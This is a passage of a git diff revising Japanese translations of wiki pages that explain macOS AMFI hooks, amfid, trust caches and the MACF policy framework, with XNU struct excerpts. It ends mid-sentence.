+- **`policy_syscall`**: バイナリが制限のないセグメントを持っているか、環境変数を許可するべきかなど、DYLDポリシーをチェックします...これは、`amfi_check_dyld_policy_self()`を介してプロセスが開始されるときにも呼び出されます。
+- **`proc_check_inherit_ipc_ports`**: プロセスが新しいバイナリを実行する際に、他のプロセスがプロセスのタスクポートに対してSEND権を持っている場合、それを保持するかどうかをチェックします。プラットフォームバイナリは許可され、`get-task-allow`権限がそれを許可し、`task_for_pid-allow`権限が許可され、同じTeamIDを持つバイナリも許可されます。
- **`proc_check_expose_task`**: 権限を強制
- **`amfi_exc_action_check_exception_send`**: 例外メッセージがデバッガに送信されます
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 例外処理中のラベルライフサイクル(デバッグ)
-- **`proc_check_get_task`**: `get-task-allow`のような権限を確認し、他のプロセスがタスクポートを取得できるかどうかを確認し、`task_for_pid-allow`が許可されている場合、プロセスが他のプロセスのタスクポートを取得できるかどうかを確認します。どちらもない場合、`amfid permitunrestricteddebugging`を呼び出して許可されているかどうかを確認します。
-- **`proc_check_mprotect`**: `mprotect`がフラグ`VM_PROT_TRUSTED`で呼び出された場合、拒否します。これは、その領域が有効なコード署名を持っているかのように扱われる必要があることを示します。
+- **`proc_check_get_task`**: `get-task-allow`のような権限をチェックし、他のプロセスがタスクポートを取得できるかどうかを確認し、`task_for_pid-allow`が許可されている場合、プロセスが他のプロセスのタスクポートを取得できるかどうかを確認します。どちらもない場合、`amfid permitunrestricteddebugging`を呼び出して許可されているかを確認します。
+- **`proc_check_mprotect`**: `mprotect`がフラグ `VM_PROT_TRUSTED` で呼び出された場合、拒否します。これは、その領域が有効なコード署名を持っているかのように扱われる必要があることを示します。
- **`vnode_check_exec`**: 実行可能ファイルがメモリに読み込まれるときに呼び出され、`cs_hard | cs_kill`を設定します。これにより、ページのいずれかが無効になるとプロセスが終了します。
-- **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` と `isVnodeQuarantined()` を確認
-- **`vnode_check_setextattr`**: get + com.apple.private.allow-bless と内部インストーラー相当の権限
-- **`vnode_check_signature`**: 権限、信頼キャッシュ、`amfid`を使用してコード署名を確認するためにXNUを呼び出すコード
-- **`proc_check_run_cs_invalid`**: `ptrace()`呼び出し(`PT_ATTACH`および`PT_TRACE_ME`)をインターセプトします。`get-task-allow`、`run-invalid-allow`、`run-unsigned-code`のいずれかの権限があるかどうかを確認し、いずれもない場合はデバッグが許可されているかどうかを確認します。
-- **`proc_check_map_anon`**: mmapが **`MAP_JIT`** フラグで呼び出された場合、AMFIは `dynamic-codesigning` 権限を確認します。
+- **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` と `isVnodeQuarantined()` をチェック
+- **`vnode_check_setextattr`**: get + com.apple.private.allow-bless および internal-installer-equivalent 権限として
+- **`vnode_check_signature`**: 権限、信頼キャッシュ、および `amfid` を使用してコード署名をチェックするためにXNUを呼び出すコード
+- **`proc_check_run_cs_invalid`**: `ptrace()`呼び出し(`PT_ATTACH`および`PT_TRACE_ME`)をインターセプトします。`get-task-allow`、`run-invalid-allow`、および `run-unsigned-code` のいずれかの権限をチェックし、いずれもない場合はデバッグが許可されているかを確認します。
+- **`proc_check_map_anon`**: mmapが **`MAP_JIT`** フラグで呼び出された場合、AMFIは `dynamic-codesigning` 権限をチェックします。
`AMFI.kext` は他のカーネル拡張のためのAPIも公開しており、その依存関係を見つけることが可能です:
```bash
@@ -70,7 +70,7 @@ No variant specified, falling back to release
macOSでは、特別なポートをrootプロセスがハイジャックすることはもはや不可能であり、これらは`SIP`によって保護されており、launchdのみがそれらを取得できます。iOSでは、応答を返すプロセスが`amfid`のCDHashをハードコーディングしていることが確認されます。
-`amfid`がバイナリをチェックするように要求されたときとその応答を、デバッグして`mach_msg`にブレークポイントを設定することで確認できます。
+`amfid`がバイナリをチェックするように要求されたときとその応答を見ることが可能であり、これをデバッグして`mach_msg`にブレークポイントを設定することで確認できます。
特別なポートを介してメッセージが受信されると、**MIG**が呼び出されている関数に各関数を送信するために使用されます。主要な関数は逆アセンブルされ、本書内で説明されています。
@@ -112,13 +112,13 @@ security cms -D -i /path/to/profile
## **libmis.dyld**
-これは、`amfid`が何かを許可すべきかどうかを尋ねるために呼び出す外部ライブラリです。これは、すべてを許可するバックドア付きのバージョンを実行することによって、脱獄で歴史的に悪用されてきました。
+これは、`amfid`が何かを許可すべきかどうかを尋ねるために呼び出す外部ライブラリです。これは、すべてを許可するバックドア版を実行することによって、脱獄で歴史的に悪用されてきました。
macOSでは、これは`MobileDevice.framework`内にあります。
## AMFI Trust Caches
-iOS AMFIは、**Trust Cache**と呼ばれる、アドホックに署名された既知のハッシュのリストを維持し、kextの`__TEXT.__const`セクションにあります。非常に特定の敏感な操作では、外部ファイルでこのTrust Cacheを拡張することが可能です。
+iOS AMFIは、アドホックに署名された既知のハッシュのリストを維持しており、これを**Trust Cache**と呼び、kextの`__TEXT.__const`セクションにあります。非常に特定の敏感な操作では、外部ファイルでこのTrust Cacheを拡張することが可能です。
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 96e97ca06..482c1ce38 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -4,9 +4,9 @@
## 基本情報
-**MACF**は**Mandatory Access Control Framework**の略で、コンピュータを保護するためにオペレーティングシステムに組み込まれたセキュリティシステムです。これは、**特定のシステムの部分にアクセスできるのは誰または何かに関する厳格なルールを設定することによって機能します**。これらのルールを自動的に強制することにより、MACFは認可されたユーザーとプロセスのみが特定のアクションを実行できるようにし、不正アクセスや悪意のある活動のリスクを減少させます。
+**MACF**は**Mandatory Access Control Framework**の略で、コンピュータを保護するためにオペレーティングシステムに組み込まれたセキュリティシステムです。これは、**特定のシステムの部分にアクセスできるのは誰または何かに関する厳格なルールを設定することによって機能します**。これらのルールを自動的に施行することにより、MACFは認可されたユーザーとプロセスのみが特定のアクションを実行できるようにし、無許可のアクセスや悪意のある活動のリスクを減少させます。
-MACFは実際には決定を下さず、**アクションを傍受する**だけであり、`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext`、`TMSafetyNet.kext`、および`mcxalr.kext`のような**ポリシーモジュール**(カーネル拡張)に決定を委ねています。
+MACFは実際には決定を下すわけではなく、単に**アクションを傍受**するだけであり、決定は`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext`、`TMSafetyNet.kext`、および`mcxalr.kext`のような**ポリシーモジュール**(カーネル拡張)に委ねられています。
### フロー
@@ -26,7 +26,7 @@ MACFは**ラベル**を使用し、その後ポリシーがアクセスを許可
## MACFポリシー
-MACFポリシーは**特定のカーネル操作に適用されるルールと条件を定義します**。
+MACFポリシーは**特定のカーネル操作に適用されるルールと条件を定義します**。
カーネル拡張は`mac_policy_conf`構造体を構成し、次に`mac_policy_register`を呼び出して登録できます。ここから[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -69,7 +69,7 @@ void *mpc_data; /** module data */
MACFポリシーは**動的に**登録および登録解除することもできることに注意してください。
-`mac_policy_conf`の主なフィールドの1つは**`mpc_ops`**です。このフィールドは、ポリシーが関心を持つ操作を指定します。数百の操作があるため、すべてをゼロに設定し、ポリシーが関心を持つものだけを選択することが可能です。 [ここ](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から:
+`mac_policy_conf`の主なフィールドの1つは**`mpc_ops`**です。このフィールドは、ポリシーが関心を持つ操作を指定します。数百の操作があるため、すべてをゼロに設定し、ポリシーが関心を持つものだけを選択することが可能です。[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から:
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@@ -82,14 +82,14 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
-ほとんどすべてのフックは、これらの操作がインターセプトされるときにMACFによってコールバックされます。しかし、**`mpo_policy_*`** フックは例外であり、`mpo_hook_policy_init()`は登録時に呼び出されるコールバックであり(したがって、`mac_policy_register()`の後)、`mpo_hook_policy_initbsd()`はBSDサブシステムが適切に初期化された後の遅延登録中に呼び出されます。
+ほとんどすべてのフックは、これらの操作がインターセプトされるときにMACFによってコールバックされます。しかし、**`mpo_policy_*`** フックは例外であり、`mpo_hook_policy_init()`は登録時に呼び出されるコールバックです(したがって、`mac_policy_register()`の後)であり、`mpo_hook_policy_initbsd()`はBSDサブシステムが適切に初期化された後の遅延登録中に呼び出されます。
-さらに、**`mpo_policy_syscall`** フックは、プライベートな**ioctl**スタイルの呼び出し**インターフェース**を公開するために任意のkextによって登録できます。これにより、ユーザクライアントは、整数の**コード**とオプションの**引数**を指定して**ポリシー名**をパラメータとして`mac_syscall` (#381)を呼び出すことができます。\
-例えば、**`Sandbox.kext`**はこれを多く使用します。
+さらに、**`mpo_policy_syscall`** フックは、任意のkextによってプライベートな**ioctl**スタイルの呼び出し**インターフェース**を公開するために登録できます。これにより、ユーザクライアントは、**ポリシー名**と整数の**コード**、およびオプションの**引数**をパラメータとして指定して`mac_syscall` (#381) を呼び出すことができます。\
+例えば、**`Sandbox.kext`** はこれを多く使用します。
-kextの**`__DATA.__const*`**をチェックすることで、ポリシーを登録する際に使用される`mac_policy_ops`構造体を特定することが可能です。そのポインタは`mpo_policy_conf`内のオフセットにあり、その領域にNULLポインタが多数存在するため、見つけることができます。
+kextの**`__DATA.__const*`**をチェックすることで、ポリシーを登録する際に使用される`mac_policy_ops`構造体を特定することが可能です。そのポインタは`mpo_policy_conf`内のオフセットにあり、その領域に存在するNULLポインタの数からも見つけることができます。
-さらに、登録されたポリシーごとに更新される構造体**`_mac_policy_list`**からメモリをダンプすることで、ポリシーを構成したkextのリストを取得することも可能です。
+さらに、メモリから構造体**`_mac_policy_list`**をダンプすることで、ポリシーを構成したkextのリストを取得することも可能です。この構造体は、登録されるたびに更新されます。
## MACFの初期化
@@ -97,7 +97,7 @@ MACFは非常に早く初期化されます。XNUの`bootstrap_thread`で設定
## MACFコールアウト
-コード内で**`#if CONFIG_MAC`**条件ブロックのように定義されたMACFへのコールアウトを見つけることは一般的です。さらに、これらのブロック内では、特定のアクションを実行するための**権限を確認する**ためにMACFを呼び出す`mac_proc_check*`への呼び出しを見つけることができます。さらに、MACFコールアウトの形式は**`mac_